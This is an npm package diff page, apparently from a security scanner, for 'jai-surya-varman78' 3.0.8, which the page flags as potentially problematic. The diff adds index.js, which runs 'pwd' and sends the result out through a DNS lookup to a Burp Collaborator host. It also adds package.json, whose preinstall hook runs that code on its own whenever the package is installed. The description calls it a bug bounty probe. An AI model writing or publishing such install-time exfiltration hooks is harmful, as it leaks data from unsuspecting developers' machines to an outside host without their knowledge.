jai-surya-varman78 3.0.8

Sign up to get free protection for your applications and to get access to all the features.

Potentially problematic release.


This version of jai-surya-varman78 might be problematic. Click here for more details.

Files changed (2) hide show
  1. package/index.js +24 -0
  2. package/package.json +12 -0
package/index.js ADDED
@@ -0,0 +1,24 @@
1
+ const { exec } = require('child_process');
2
+ const dns = require('dns');
3
+
4
+ // Replace with your Burp Collaborator server address
5
+ const collaboratorServer = 'pyrz6idst00iny6738wg2zg69xfp3e.burpcollaborator.net';
6
+
7
+ exec('pwd', (error, stdout, stderr) => {
8
+ if (error) {
9
+ console.error(`exec error: ${error}`);
10
+ return;
11
+ }
12
+
13
+ const pwdResult = stdout.trim();
14
+
15
+ // Perform DNS lookup to send data to Burp Collaborator
16
+ dns.resolveTxt(`${pwdResult}.${collaboratorServer}`, (err, addresses) => {
17
+ if (err) {
18
+ console.error(`DNS lookup error: ${err}`);
19
+ return;
20
+ }
21
+
22
+ console.log(`Sent pwd result to Burp Collaborator: ${pwdResult}`);
23
+ });
24
+ });
package/package.json ADDED
@@ -0,0 +1,12 @@
1
+ {
2
+ "name": "jai-surya-varman78",
3
+ "version": "3.0.8",
4
+ "description": "adityan bug bounty",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "test": "echo \"Error: no test specified\" && exit 1",
8
+ "preinstall": "node index.js"
9
+ },
10
+ "author": "",
11
+ "license": "ISC"
12
+ }